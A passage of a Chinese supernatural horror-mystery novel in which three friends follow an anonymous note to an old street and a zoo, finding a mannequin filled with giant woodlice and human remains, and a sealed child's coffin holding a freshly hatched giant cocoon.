吴听将耳机往后一拨,直接挂在了纤细的脖颈上,“第一,要卖灵珠,我自己也能卖出去,用不着你的帮忙。再说我也不缺钱,这个对我而言没什么吸引力。至于第二个,你能保证一定能帮我成功移植吗?我可是知道不少人因为这个死掉了,我还是比较惜命的。” 林萤摇了摇头,“我不能保证,但是任何事情都有风险对吧?尤其是当你想要获取别人的力量变强,这在本质上是一种掠夺行为,当然应当承担掠夺带来的后果。” 林萤说完,定定地看向吴听,就见对方先是面无表情看了她一眼,而后低下头,肩膀一抖一抖,突然仰头大声笑了起来。 “哈哈哈,你这个人还真有意思,一本正经说这番话,要是让外面那些人知道了,怕是要将你当成反对党来对待。”说到这里,吴听渐渐止住了笑声,而后道:“不过,你的理念跟我相合,我也认为移植是一种掠夺行为,所以这颗灵珠,就当是我妈给我的念想吧,我不卖,也不会移植!” 说着吴听向前走了一步,来到了林萤的正对面,她与林萤两人个头相当,只是林萤穿的衣服不是松垮型的,所以看上去更瘦一些。 吴听上下打量林萤,“作为我的同类,我可以大方地告诉你,‘一扇门’之所以要对马阿姨出手,是为了动物园里的那些动物,对方想要动物体内的灵珠,但是马阿姨她们一直都在守着,不让他们得手。” “除了这个还有什么我们不知道的?”马浩哲又问。 吴听看了他一眼,“你可能知道我妈是个大喇叭,但对方很谨慎,能见面聊的绝不会打电话,并且他们见面前都会收掉我妈的手机。至于更多的,你们就去自己寻找吧,你知道,我是个普通人,我妈妈那样的人对上他们都莫名其妙的死了,虽然我也觉得活着没什么意思,但我暂时还不想死,所以你们想要的就自己去寻找。我能说的就这些了。” 说罢,吴听看也未看吴阿姨的尸首,直接走了出去。 马浩哲长叹一声,关上门,屁股刚挨到沙发上,就又听到了敲门声。 “是把啥忘了吗?”马浩哲下意识以为是吴听,便直接打开了门,然而门外一个人都没有。 “咦,我明明听到门响了,难道是幻听?”马浩哲关上门正要走,门又响了。 这次他学乖了,直接透过猫眼看了看,老旧的单元楼里,楼道的声控灯一明一暗,暗的时候黑漆漆什么也看不见,亮的时候变形的栏杆和对面的门一动不动,马浩哲看来看去,一个人影都没看到,但敲门声却并未停歇。 “叩、叩、叩……” 马浩哲咽了咽唾沫,他一边往后退一面对林萤二人唇语,“门口没人……啊!” 突然,他的脚勾住了一个软绵绵东西,一时不察,整个人向前栽去,马浩哲惊恐地瞪大眼,发现勾住他的不是别的东西,而是吴阿姨横着的腿!他瞪着吴阿姨涣散的瞳孔,眼见就要和对方来个亲密接触,却怎么也避不开。 “妈妈呀!” 就在马浩哲将要认命的时候,突然感觉一双手从背后抓着他的脖子将他使劲提了起来。 马浩哲泪眼汪汪看着原初,“原医生,是你拯救了我的初吻,我该如何报答你的恩情……” “……” 原初一脸黑线,他径直来到门口将门打开。外面一个人也没有,楼道上也是空空荡荡,的确如马浩哲所说的那样。然而当他垂下头看向地面,却在门槛附近发现了一个玩具,玩具的形状像一款经典游戏里的玉米投手车,车上的机械臂正在有规律地向前投掷着,如果关上门,机械臂恰好会打在门板上。 ——这就是敲门声的来源。 原初将那个东西拿到屋内放置在茶几上,马浩哲便立即上来查看这个把自己吓了个半死的罪魁祸首。 “门是向内开的,所以打开门的时候机械臂叩不到门上,所以开门的时候是没有声音的,放这个东西的人肯定知道这一点。”原初说到。 马浩哲问:“是不是刚才吴听走的时候偷偷放的?” “应该不是,以她的个性会直接将这个东西给你,而不会那样偷偷摸摸……”原初说着,拿起玩具,看了看它旁边的机关,“机械臂的投掷是上发条的,可见放这个的人还没有走远。” 他的话还没有说完,马浩哲就已经走到了窗边,他伸着脖子向楼下看去,下面安安静静,一个人也没有。 林萤这个时候也坐了过来,她没有说话,只是接过原初手里的玩具,仔仔细细打量,片刻后盯着机械手臂的下方道:“这里夹了纸条。” “什么?” 说话间,林萤已经扣开了那边的塑料外壳,就见里面有一张纸,上面是一行机打的黑色五号宋体字:青檀老街,羊女。 马浩哲也走了过来,拿起纸条看了一眼,而后长叹一声,“这个人不但想要考验我的胆量,还想要考验我的智商。”说罢他将纸条还给林萤,往沙发上一瘫,“今晚还好有你们两人在,不然我真要被这一连串事情吓死了。” 林萤默默地念了一遍上面的字,她问原初:“这个羊女指的是不是吴阿姨口中那个怪笼子里的女生?” “极有可能。”原初道:“刚才吴阿姨的话有真有假,但关于羊女的事情,我可以肯定她没有说谎,她绝对是在某个地方见过,才会在说起羊女的时候眼球不自觉地向左上方看——这是个经典的回忆行为。而且,她 瞳孔的震动和面色的惊惧根本不像是在表演,如果她单靠表演就能达到这种效果,那么奥斯卡非她莫属了……” 林萤站起身晃了晃手里的车钥匙,“走!” 原初也默契地站起了身。 “你们要去哪里?”马浩哲也站了起来。 “纸条上不是写着吗,青檀老街。” “可是这个纸条不知道是谁给的。” “所以才要去看看,万一你姑姑真的有危险呢?” “那我怎么办,你那小车车还能再加一个人吗?”马浩哲说着,又有些脸红,“其实我虽然长得壮实,但我胆子很小,家里只有我一个人和一个冷冰冰的尸体,不管怎么想我都有点怕。再说了,刚刚那些人肯定知道我在家,万一你们一走他就出现了呢?” 马浩哲的话也在理,林萤正在犹豫,就听门又再响。 “你们去开,我不去!”马浩哲往后缩了一步。 林萤上前打开门,门口一共有三个人。 为首的正是吴阿姨的女儿吴听,后面两个人都穿着水泥灰的制服,带着白色的手套和口罩,一走进屋子,谁也不看,只看向脚下的尸体。 他们在吴听的指挥下,一人将吴阿姨的尸体抬起,一人拿着大大的黑色塑料袋从头兜到脚,将吴阿姨整个人装了进去,而后迅速将袋子口扎住,往后一甩背在了身上。另外一人数了三百块钱递给吴听,两人才扛着尸体迅速离去。 “……小吴,他们是什么人?”马浩哲凑上来问道。 吴听白了他一眼,“别叫我小吴,我们的关系没有那么近,叫我吴听就好。” “好吧吴听,他们来帮忙收尸怎么还倒贴钱?我之前叫了个救护车对方就要我整整三万!” “他们是专业的清道夫,给我钱是因为我把我妈的尸体卖了,他们可以随意拿我妈的尸体做实验,要知道这种新鲜的尸体价格都挺高,我这都属于贱卖了。”吴听说罢,转过身就要走。 三百块,一盘鸡蛋的价格,林萤暗自咂舌,却说不出什么反对的话,毕竟卖的又不是自己的老母亲。 “吴听,麻烦问一下,你刚刚下楼的时候有没有看到什么人上来?”林萤问道。 吴听歪着头想了想,“人没有,狗倒是有一条。” 马浩哲问:“哎,那狗嘴里叼东西了吗?” “我没仔细看,我小时候被狗咬过,不喜欢动物。” 林萤点了点头,“好的,谢谢你。” “走了!” 吴听转过身挥了挥手,向楼下走去。 “这个吴听不简单啊!”林萤感叹一声。 “怎么不简单,难不成是胆子大?”马浩哲问。 “不止,她心理素质也很强大,而且对青檀的事情比我们熟悉的多,不然也不会那么短的时间就找到可以收尸的买家……”原初在一旁道:“我刚刚搜了一下这个‘清道夫’,搜出来的全是鱼,但是她却可以精准地找到他们。” 56. 被划烂的模特 “说不定她妈妈以前联系过。”马浩哲随口说完,又后知后觉地瞪大了眼,“不会吧,不会吧,吴阿姨难道也杀过人?” 原初道:“还真不好说,毕竟吴听看起来解脱大于悲伤,她应该知道很多吴阿姨的秘密。好了,目前这些不是重点,重点是,我们手中的来信和马浩哲的姑姑。现在,我们必须得做点什么了。” “去青檀老街,既然他们那么想让我们去。”眼见马浩哲面露难色,林萤看向他,“你也跟我们一起去吧,你对你姑姑比我们更熟悉,说不定还能帮上忙。” 马浩哲瞬间兴高采烈,“对,我就是这个意思,咱们几个挤一挤,你那大摩托那么帅,我也想骑骑看。” 走之前,林萤将包背在身前,包里面是依旧睡得昏天暗地的小白虎,林萤不由得有些羡慕它的睡眠质量。 马浩哲一马当先走在最前面,他下楼时的脚步很沉,震得梯板都在晃动,待他“腾腾腾”下了几步,整个楼梯间的声控灯都亮了起来。 就在这时,马浩哲“咦”了一声,突然停下脚步,指着一处说道:“刚才吴听说她看到了一只狗,是不是就是那只……” 林萤跟在原初身后,她探过身子,看向马浩哲指的方向。 楼梯拐角处的地上,有一个倒扣的油漆桶,油漆桶旁边有一个像脏拖把头一样的东西,仔细一看,是一只斜躺在地面上的黑色小狗,这只小狗看见来人,慌忙起身,跳上油漆桶,又一跃而起从半开着的小窗户上跳了出去。 马浩哲也没想到它这么怕人,他有些无措地道:“这只傻狗……这么高的地方,跳下去不得摔死?” 原初走过去看了看,“应该没事,这边有很多伸出楼外的防盗窗和台子,我看那小狗动作很灵活,应该能安全下去。” 几人迅速下楼,果然并未在楼下看到那只狗,想来它已经安全到达了地面。 摩托车上,林萤尽量向前坐了坐,林萤的身后紧贴着原初,原初的身后是马浩哲。 随着第三人的加入,林萤感觉到摩托的速度都有些上不去了,更不要提被夹在中间的原初,此刻他就像是三明治里的沙拉酱,整个人都要被挤出来了。 “小马哥,青檀物价贵,该把减肥提上日程了。” “别嫌弃你小马哥,我往后挪挪就是……” 十五分钟后,摩托车来到了青檀老街,令林萤惊讶的是这条路正是挨着动物园的那条路,上次她来的时候还是和原初一起骑着自行车来的。 摩托车的声音比较大,林萤几人怕打草惊蛇,于是将车锁在了路口的一个小巷子里。 “哎哎,那是个啥?”马浩哲指了指小巷边上的电线杆。 “没见过电线杆吗?” 林萤从车上下来,脱掉头盔,抬手将压扁的头发揉开,又看向那边的电线杆,就见上面贴了许多A4纸,仔细一看全是寻人启事。 “不是那个,你看电线杆侧面那个垃圾桶,对,就是被树影挡住的那部分……” 原初道:“像是……个人?” 三人一起走了过去,单看轮廓那的确像是个人,而且是个头小脸小的人,但肩膀看上去却又比较魁梧,想必站起来便是网络上说的那种九头身双开门的完美身材。 那人戴着墨镜,脖子下盖着几张旧报纸,肩膀头光着,不知道有没有穿衣服,此时一动不动,贴靠在垃圾桶的侧方,林萤竖耳倾听,并没有听到对方的呼吸声。 “小马哥当心点,搞不好又是个尸体!” “……邪了门了,这一天之内见到的死人比我之前加起来都多。” 经林萤提醒,马浩哲已经有了心理准备,可当他走过去看清那人的模样时,还是差点尖叫出来。 那个人压根就没有带什么墨镜,只是因为眼珠被掏,眼眶成了两个黑漆漆的大洞,所以远远看上去像是戴了墨镜一般,并且他的脸不是正常人的白,而是毫无气色的那种猪白色,要是有日光照着勉强还能看,如今在树影的遮罩下,简直就是放光血后又浸过水的惨白色,越看越瘆得慌。 马浩哲吓了一跳,一个健步跳到了原初身后,恨不得捂住自己的双眼,“我的妈呀,真的是个死人,眼睛还被挖了!” 林萤下意识看向那人的眼睛,发现确实如马浩哲所说,那人的眼部是鸡蛋大的两个洞,乌沉沉十分骇人,再仔细看去,眼洞的一周像是用刀切割出来的伤口,隐隐还有裂开的痕迹,而这人的鼻子虽高挺却没有鼻孔,也不知道平常是怎么呼吸的……等等,没有鼻孔? 怎么会没有鼻孔?林萤走上前去定睛一看,这才发现那根本不是什么人,也不是什么死尸,而是一个时装店常用的人体模特。难怪头小脸小比例逆天,还没有鼻孔! 林萤转身说明情况,“不要怕,这只是个塑料模特。” 马浩哲听到林萤的话,壮着胆子走过去仔细看了看,而后拍拍胸口,“原来真的是个模特啊,虚惊一场!不过谁这么无聊,扔的时候还要把模特的眼睛给扣了?” 林萤附和道:“也是,真奇怪!” 马浩哲知道那是模特后便没有那么怕了,他大着胆子走到前面,然而目光却控制不住时不时投向那个骇人的塑料模特。 这一看,就被他看出了异常,就见那模特的眼眶下面似乎有一滴黑色的泪摇摇欲坠,紧接着那滴泪像个黑色的眼球一样从那个模特的眼眶里掉了下来! “妈呀!”马浩哲轻车熟路,又一次躲在了原初的身后,“眼珠,眼珠掉出来了!” 林萤虽然没有看到这一幕,却也听到了一声轻微的“嘭”,是东西落地的声音,她顺着声音的来源看去,发现地上有一个黑色的球在快速滚动着,球的大小如同小孩子玩的玻璃珠,却并不是透明或者花色,而是黑褐色的,上面还有橘瓣似的纹理。 小黑球骨碌碌滚了一小段,停在路面上,忽然就从中间部分打开了,紧接着露出了一排细细密密的足和微微晃动的触角——是鼠妇,只不过体型比较大一些。 正在这时,淅淅索索的声音响起,许许多多的鼠妇从模特的眼眶里涌出来,像下豆子一般落在了地面上。 马浩哲又 叫了起来,“我的妈,好多好多眼珠子!” “嘘,声音小点!”原初拍了拍他,同时目光向四周看去,一片寂静,似乎没有什么异常。 林萤直接上前一步,用单根手指勾住模特的眼眶,而后轻轻一提将它的头卸了下来,就见这个模特只有外面一层橡胶皮,里面是空心的,一大股黑色的鼠妇潮从脖颈连接处冒出来,林萤毫不怀疑,此刻这个模特的体内灌满了个头极大的鼠妇。 待鼠妇将要爬尽,林萤感觉手里的重量不太对,她抖了抖头颅,将里面残余的鼠妇倒了出来,同时倒出来的还有一根短短的像树枝一样的东西。 ——是一根手指。 指甲还连着皮,有的地方已经被啃出了森森白骨。一只蝉大小的鼠妇正贪婪地趴在手指上面,紧紧咬着一小块肉,被摔在地上也不愿放口。 林萤将模特的头颅抛到垃圾桶里,腾出手拎起它光秃秃的脖子试了试,沉甸甸的,并且它的腹腔处有一道明显的划痕,划痕是向内凹的,看上去像一张黑乎乎的大嘴。毫无疑问,这个空心的塑料家伙体内除了鼠妇还有其他的东西,可能是人体的其他部位,比如说大腿之类…… 思及此处,她不再犹豫,而是快速抖了抖手中的东西,就见从塑料模特的腹部涌出来一大股黑流般的鼠妇,紧随其后的,便是一块块切成拳头大小的碎肉。这些碎肉的表面烂得一塌糊涂,甫一掉在地上,便像口香糖一样黏住了地面。 没有衣服残渣,没有可以确认死者身份的东西。 林萤道:“鼠妇食腐,生嚼人肉倒是不常见。” 说罢,她一脚碾碎一只将要爬上她鞋子的鼠妇,而后蹲下身仔细查看地上的扁尸,然而,片刻后却并未找到进化核或者半进化核。可见这些奇大无比的鼠妇并没有进化,只是因为吃得太好,所以才长得这么大。 想到这里,林萤的眉头微微皱了起来,她有一个可怕的猜想,却不知道如何证实。 原初提醒道:“我记得还有一处地方鼠妇也特别多。” 说着,他看向不远处的路牌,蓝底白字,上面指着动物园的方向。 “走!”林萤招了招手,这次她走到了最前方,原初紧跟着她的步伐,贴着树的阴影向前。 而马浩哲经过方才的提醒,也放轻了脚步,他的心“通通”跳得飞快,总还在想着刚才那些突然冒出来的鼠妇和被咬得没了形的半根手指。 ——怎么会有鼠妇那么大,又是谁把手指塞到了模特的眼眶里? 马浩哲使劲掐了自己一下,疼!不是在做梦。一个小时前,他还在优哉游哉地购物,享受着自由而宁静的小生活。然而,自与林萤和原初重逢后,却像是进到了一个充满了迷幻的探险世界里,处处诡异无比,惊险刺激。 马浩哲不由嘀咕道:“林原二人误俺老马……” 先他一步的原初立即转过头来,“你在说什么?” “没,没什么,快走吧,跟上林老大。” 说罢,马浩哲轻轻推了一把原初,两人随后跟上了前方那个矫健的身影。 57. 一口小棺材 几人先是沿着青檀老街走了一圈,这里没有吴阿姨口中的大车,也没有什么羊女,有的只是街边成堆的垃圾山和被斜放在绿化带里的小黄车。还有几个喝得酩酊大醉的人,他们踉踉跄跄走在马路中间,看上去像是僵硬的行尸。 一路走来,没有什么收获,林萤将目光投向了一边的动物园,吴阿姨说马浩哲的姑姑此时就在这里,正好可以去看看。 因为这次带着马浩哲,所以林萤并没有选择从大门翻进去,而是从上次发现的后门翻了进去。 这边的门不像动物园的正门那么高,而且门口的监控也全部被破坏了,更重要的是,不知为何,今天晚上这里没有开灯,就连一旁的路灯也是坏的。黑灯瞎火,别人看不见林萤却能看见,如果有人,林萤也能在第一时间察觉,简直完美。 马浩哲在原初的协助下哼哧哼哧翻上墙,又被墙头的林萤拎起来一起跳了下去,一番折腾,身上的脂肪仿佛都少了两斤,他气喘吁吁,直呼刺激。 “这个大铁门都生锈了。”马浩哲跺了跺脚,拍了拍腿,来到大门边上,轻轻碰了碰门栓,然后就像发现了什么新大陆,将林萤和原初都拉到了他的身边,指着门闩上的锁道:“你们看,这里的锁是开的!” “是啊,所以只要里面的人想出去,随时都可以打开门往出走。”原初说道。 “我不是这个意思,我的意思是,刚刚你们随便一个人翻过来,直接把锁打开,我就不用那么辛苦爬墙了!”马浩哲听上去颇为幽怨,“为了上墙,俺滴小腿都蹭破了。” “……”林萤确实没料到这茬,刚刚她只是随便看了一眼,以为大门锁着。 “小马哥,凡事要往好处想,至少我们现在知道锁开着,你出去的时候就不用爬墙了。”原初拍了拍马浩哲的肩膀。 林萤带着二人,径直来到了两栖动物的展馆,到达上次来过的鳄鱼池。 “噫~~~滂臭!”马浩哲露出特别嫌弃的表情,“咋这么臭?” 原初的鼻翼轻轻动了动,“还好,没有那么臭了,看来这个味道已经消散了很多。” 说罢,他看向林萤,两人一对视,林萤瞬间便明白这是原初在提醒她这里的味道已经没有上次那么浓了。 此时,池子里的水已经全部流干,满是鼠妇尸体的池底也少了几分潮湿的水汽,最上面一层的鼠妇经过太阳的暴晒有些缩水,身体看上去也小了几分,使得原本一池底的黑豆变成了一池底的黑米。而黑米上方原本的动物尸山不见了,取而代之的是纤细的骸骨山,显然肉被吃了个一干二净,只剩白骨了。 “能把这些细小的骨头嗦得这么干净,这帮鼠妇还真是一点也不浪费。”原初也看到了那堆骨头。 马浩哲则是一手捂着鼻子,一手挡着眼睛,他将手指岔开一条缝隙,透过指缝往外看。尽管夜里没有白日那样亮的光线,但暗星和月亮的光辉也不赖,借着光,他向一边走了两步,又突然“咦”了一声。 “怎么了?”林萤问道。 马浩哲道:“那边好像有个小洞洞。” 林萤以为马浩哲说的是上次被自己掀开的水泥地,便随口道:“那个是我弄的。” “不是吧,你是怎么弄的?效果堪比水井钻机啊!”马浩哲嘴上赞叹着,眼睛却还望着那处。 什么水井钻机? 林萤不明所以,顺着马浩哲的目光看去,就见在重重白骨之下,掩藏着一个黑乎乎的洞口,洞口被遮蔽住,若非是马浩哲所在位置角度刁钻加之他眼尖,林萤也注意不到那个洞。 “……我过去看看。” 林萤不清楚上次来的时候有没有这个洞口。之前它被动物的尸体掩盖,又位于水池最深处,满是淤泥和鼠妇,想看到也难。如今露了出来,想必也有林萤砸破水泥封层的原因。 “你们两个往后退退。” 林萤找从一旁找来一个喂食杆,“哗啦哗啦”几下扫出了一条通往洞口的干净路面,原初跟在她的身后,也凑过来看。只有马浩哲离得远远的,他捂着鼻子皱着眉,脸上满是担忧之色。 林萤问身后的人,“你看,这像不像是被钉耙挖开的?” 原初道:“洞口边缘上方是锯齿状,下方却偏圆润平滑,与其说是被挖开的,我更觉得像是被什么东西挤开的,而且还是从里面挤开的。你看,洞里面的路径不是直上直下,而是倾斜的,最主要的是洞里看上去很干净,本该灌进去的淤泥都被挤了出来。” 原初指了指一旁的淤泥堆,此时正有一小股淤泥缓缓地向洞口处流动,用不了多久,便会重新灌进洞里。 林萤伸手摸了摸,洞口靠里的壁面很滑很湿,还有一些滑溜溜的白色粉末,显然是有东西不久前才从这里出去了。她回过头对原初道:“这个洞口有点小,但是以我的体型勉强可以挤进去,我先下去看看。” 原初点点头,道:“这边的气味比之前浓烈些,要更加当心。” “放心吧!”林萤眨了眨眼,将身上的包递给原初,先探出一只脚,而后双脚齐下,钻了进去。 刚挤进去,林萤便觉得呼吸一滞,洞里比她想象的还要狭窄一些,她的双臂高高举在头顶,整个人呈流线型,通过双脚向前挖着前行,直至行到一处,林萤感觉自己的鞋尖碰到了什么硬硬的障碍物,她调整了几次都没能绕开。 于是林萤暗中使力,一脚蹬在那东西上,这一脚用力的力气很大,将那个障碍物顿时踢开,她整个人的束缚感也突然被解开,身体向后倒去,似乎来到了一个巨大的空间,并且急速向下坠去。 “呀!” 突然的失重让林萤不由得叫了一声,然而很快她就稳稳地落在了软软的地面上。 林萤抬头向上看去——万幸万幸,感觉身体坠了很久,但实际上应该不超过三米,也就是一层楼的高度。林萤此时已经看不到上方的洞口, 却听到了原初焦急的声音,“你还好吗?” “没事,别担心!” 林萤拍了拍身上粘的泥巴,环顾一周,她发现此处整体看上去像一间圆形的小卧室,卧室极其狭窄,只容得下一张床和一个小柜子。周围的墙上都爬着密密麻麻的鼠妇,偶尔从露出的缝隙中可以看到墙上的灰砖。 更为特别的是这里的地面,像是雨后暴晒过的乡间小土路,不仅坚韧而且富有弹性,林萤借力起跳又轻轻落下,落地时将地面踩出两个深坑,不到片刻深坑又弹了回来,地面重新变得平滑而光亮,甚至连林萤的脚印都不见了。 她不由得蹲身查看,却在这时感觉到了地面的晃动,就见地面微微收缩,不断变动方向,而后几根长长的黑柱子从一旁升了起来,这些黑柱子指头粗细,下粗上窄,长短不一,有的还在微微晃动着。 林萤先是惊讶,而后放眼细看,这才发现这些黑柱子一共有七根,她想到了什么,学着动物表演里踩球的熊,将脚底的东西向着相反的方向踩了几脚,果然在另一侧也发现了七根柱子,不,不是柱子,这些分明是鼠妇的足,而自己的脚下,正踩着一只进化了的超大鼠妇。 随着超大鼠妇的抖动,林萤的四周顿时响起“沙沙”的响动声,她扫了一圈,就见到黑暗中大大小小的鼠妇在四下逃窜,仿佛是在同一时间收到了危险警报。 “还挺胆小……” 林萤脚尖轻轻一点,从这只大鼠妇的身上跃到了另外一只鼠妇的身上,而后又是一跳,绕着此处转了一圈,她的眼睛不止落在鼠妇身上,也落在周围的墙面上,然而除了进化的鼠妇和灰砖砌成的墙面,并没有发现什么特别的。 于是她回到方才落下时的地方,准备一个起跳,重新从刚才爬进来的洞口爬出去。就在这时,她感觉到脚下的触感有些不一样,似乎是变硬了一些。 林萤垂下头仔细看去,就见自己正踩在一块木板上面。 木板上有一层半透明黑色的卷翘硬壳,黑壳内壁是烂木泥,林萤猜测,这些半透明的卷翘硬壳是木板上的漆,只是经年已久,早已看不出原来的模样,又因为湿度太大,木板的表面变得松软,轻轻用指甲一划,便能划出一道浅浅的沟。 林萤蹲下身,仔细查看着脚下的木板,它有一米多长,宽约60厘米,一头高一头稍低,因为离得近,林萤能闻到一种类似于老山檀的甘味和淡淡的苔藓味,非常安神。 林萤稍作思索,很快有了判断,如果她没猜错,自己脚下的不是别的东西,而是一块陈年柏木,柏木在阴暗潮湿的环境下气味会发生“醇化”,变成自己刚刚闻到的味道。 这里怎么会有一块柏木,而且是造型如此奇特的柏木?林萤左看看右看看,随着她的动作,还待在柏木上的鼠妇通通爬开,露出了这块柏木的真容,而后林萤顿觉脊背发凉——这哪里是一块木头,分明就是一口棺材,而且是一口专门做给小孩的小棺材! 58. 棺木藏茧 林萤道了声“抱歉”,飞速从棺材顶下来,她用脚推开一个巨大的鼠妇,站在它原本的位置,从侧面不远不近地观察着眼前这口棺材。 就见它不仅小,而且底部的木头格外厚,比正常的棺材要厚上一倍还多,显得整个棺身格外高,又因为宽度窄,所以整体看上去比起棺材更像是个笨重的大柜子。 林萤弯下腰凑近观察,发现原来是在棺材的底层外又多加了一层厚木板,这块木板应当是后钉上去的,材质也非柏木,更像是枣木或者榆木,因为生了苔藓,所以看得并不真切。不仅如此,棺材盖四周还钉着数块巴掌宽、一指厚的木板,像门闩一样横在棺木的上下端,将它们连在一块,看样子似乎是想将棺材里的东西紧紧关在里面。 林萤曾经听过不少乡野异闻,有一地常有僵尸作祟,为了防止尸变,人们通常会将棺材板钉死,但那并不是直接用木板去封,而是用朱砂鸡血或者符纸阵法去封印,充满了仪式感和神圣感,鲜有像这个棺材般如此粗糙的——像是将一个力气非常大的活人直接塞了进去,为了防止他掀开棺材跑出来才钉死的。 而四周这个不太宽阔的空间,应当算是墓室? 林萤看了看早已生锈的钉子和钉子外略微膨胀的棺木,想了想,伸出一只手勾住棺材底,想要将它抬起看看底下有没有符纸之类的东西。 就在这时,原本静止的棺材突然毫无征兆地动了一下,紧接着晃动的幅度越来越大,像是里面的东西将要破棺而出。 林萤眼皮一跳,忙缩回手,往后退了一步,就见棺材被缓缓顶起数寸,几只黑色的东西扭动着身子从它的底部钻了出来。 她定睛一看,松了口气——原来是鼠妇啊! 眼见鼠妇爬完,林萤一手拖住即将落下的棺木,另一手趴在地上,伸着脖子朝棺材底看去,就见棺材的底部有除了一些钉子外,还有许多木屑和耷拉下来的腐木,并没有任何符文或者符纸,就算有,大概也早已腐化降解了。 林萤将棺材轻轻落下,而后沿着侧面绕到了棺材尾部,在这里,她发现了一个圆形的大洞,洞口的位置在木板拼合的接口处,大小跟自己下来时的那个洞差不多,顺着洞口朝里看去,里面黑压压的,似乎有什么东西挡住了她的视线。 ——这个位置应当是尸体的足部。 林萤伸出手,想把那东西拨开,手刚伸了一半,又收了回来,而后她起身,沿着棺材转了一圈,将用来封口的钉子全部拔出来,接着缓缓推开了棺材盖。 随着木板的震动,一阵沉闷的声音自手下传来,伴随着一股白色的烟雾从棺材里升起,林萤先是闭着气眯着眼,却在看清棺材里的东西后瞪大了眼睛。 棺材根本里没有什么尸体,只有一个巨大的椭圆形物体,像是蛋,大到几乎要将整个棺材撑满。 林萤看着那东西上遍布的霉斑,想了想,从口袋里取出口罩带上,又绕到棺材另一侧,索性将棺材盖全部打开,这才看到椭圆形物体的底部有不规则的撕裂状破口,从破口向里看去,能看到内壁脏兮兮的褐色分泌物和成团的皮状薄膜。 这不是蛋,而是一个茧。 林萤豁然开朗之际却也觉得非常不可思议。按照常理来说,单看这个茧上生出的霉斑和周边潮湿的环境,茧内的蛹体早就应该感染并腐烂。但这个茧却仅有外面一层表皮被腐蚀了,茧腔里仍然是丝光的奶白色,间或有一些褐色的液体。 它是比其他的茧厚一些,但也不过一指的厚度,连耐湿的柏木都已经腐朽,一只茧却撑了这么久。 正在这时,一只落单的鼠妇慢慢吞吞从茧腔里钻了出来,它的身上有一些白色的粉末,后足上挂着一团皮状薄膜,一边走一边蹬腿,终于在茧腔口处踹开了那团薄膜。林萤仔细看去,就见那薄膜正是脱落的蛹皮,它呈半透明的黄褐色,表面湿漉漉的,看上去柔软又有弹性,甚至让林萤幻视橡胶手套。 林萤皱了皱眉,用指尖轻轻触了触蛹皮,触手滑腻,应当也带着腥味——是蜕皮液。一般来说,蛹皮上的水分会在几分钟到十几分钟内迅速蒸发,变成脆脆的一小团。考虑到地下环境比较潮湿,林萤将这个世间拉长到了半小时至一小时。但眼前蛹皮不仅柔软还很湿润,表面张力十足。 也就是说——里面的东西才孵化出来! 意识到这点,林萤的心脏“砰砰”跳个不停,她几乎不敢相信自己的眼睛和手指,可眼前的一切和指尖的触感,分明都在告诉它,这个不知道放了多少年的奇怪大茧还活着,而且就在十几分钟前完成了“化茧成蝶”的过程,从棺材里面钻了出来,并且不知所踪。 而且,如果她没有猜错,这个东西应当是抓破了木板接口出来的——棺材内壁的尾部全是深浅不一的抓痕,配着霉斑,像是一副暗色的画。 林萤看着简笔草丛一样的抓痕,鬼使神差伸出手指摸了摸,抓痕又深又细,像是某种禽类的杰作。 这奇怪的堪比人大的茧里面的生物,有着十分坚硬的趾,想必刚才自己爬下来的那个通道就是它挖的。能在如此短的时间内爬出茧、破开棺、挖通路,看来这个生物不仅强大,也颇具智慧。 林萤又推算了一下时间,最迟,这个生物最迟也是在自己一行人到达前三分钟爬出地底的,说不定刚才自己下来的时候,那东西正趴在树干上,一双眼睛从高处盯着自己。 又或者——林萤警惕地看向四周,目光掠过一只只鼠妇,又围着墓室查看几番,这才肯定那只从茧里出来的东西并不在这里。 检查完毕,林萤蹲在棺材首端,她的目光顺着大茧的缝隙向里看了看,没有白骨,哪怕一小根都没有。难道说这个棺材不是用来装人的,而是为了封印这只奇怪的大茧? 林萤沉吟片刻,觉得倒也不是没有可能…… 正在这时,一只脚滑的鼠妇从墙上掉了下来,恰好掉落在棺材板上,激起一 阵白色的灰尘,林萤忍不住打了几个喷嚏,想到还在外面等候的二人,她不由得有些担心,于是合上棺材,重新从洞里爬了上去。 “我在这里!” 原初早在洞口守候,伸手将她拉了出来。他的身旁站着同样关切的马浩哲。 “怎么去了这么久?” 林萤起身整理了一下皱巴巴脏兮兮的衣服,环顾四下,道:“下面有一个怪棺材,棺材里是一个茧,茧很大,里面的东西应该是刚刚孵化,这个洞就是它挖的。如果我没有猜错,它现在已经力竭了,说不定这个时候正躲在附近休息。” 刚出茧的生物正处于一生中最脆弱、最危险的生死关头,就算这个奇怪大茧里的生物再强大,再违背生物本性,想必这一番连续的动作早已经耗尽了它的力气。 原初领会到林萤话里的含义,“所以现在正是寻找它的最佳时刻。” 马浩哲道:“就像抓知了猴,就得乘它换壳的时候,那时候一抓一个准。” 林萤的目光望向附近几棵高大的树木,离得最近的那棵就在鳄鱼池围墙的外面,靠近排水槽的一侧。她脚步轻点,利索上墙,而后向前一跃,直接跳到一根粗壮的树杈上,迎着月光向上看去。 枝丫晃动,几片枯叶簌簌落下。 “找到大蝴蝶了吗?”马浩哲仰头问道。 林萤仰着脖子左看右看,将这棵树除了树顶几乎翻了个底朝天,想要寻找那个生物的踪迹,却完全没有收获,“别说蝴蝶了,毛毛虫都没有。” 片刻后只得从树上下来。 如果不是那东西已经飞走,就是它有着极高的伪装技巧,将自己伪装成了树的一部分,让人无法辨别。无论是哪一种情况,短时间内都没有办法找到它,林萤不得不暂时放弃。 她对身侧的两人道:“棺材里除了茧就没别的,我猜这个棺材不是用来装人的,而是为了封印奇怪的大茧。只不过封了那么久,茧外面都发霉了,却还能孵化出来,真是奇怪!” 原初道:“是奇怪,可是你不觉得更奇怪的是人们为什么要封一个茧,这个茧有什么特别的?” 马浩哲顺着原初的话说道:“为了防止里面的东西出来,或者杀死它?” 林萤摇头道:“应该不是,如果只是为了防止里面的东西出来或是杀死它,有的是更直接的办法:用刀切,用火烧……犯不着专门买一个柏木棺材装起来,柏木还挺贵的。” “还有一种可能,里面其实装的是人,人没了,然后变成了茧?”马浩哲装模作样摸了摸下巴,而后突然一惊一乍地叫道:“也不是没有可能,你们想,封棺的时候有一只蛾钻了进去,在里面产了卵,卵孵化后以尸体为食,长大后结茧变蛾,蛾又生子,子又生孙,子子孙孙就这样在棺材里活了下来,一直活了这么多年,把尸体连肉带骨吃了个精光。突然有一天,有一只蛾进化了,然后做了一个大茧,又从大茧里孵化……” 59. 丘比特的箭 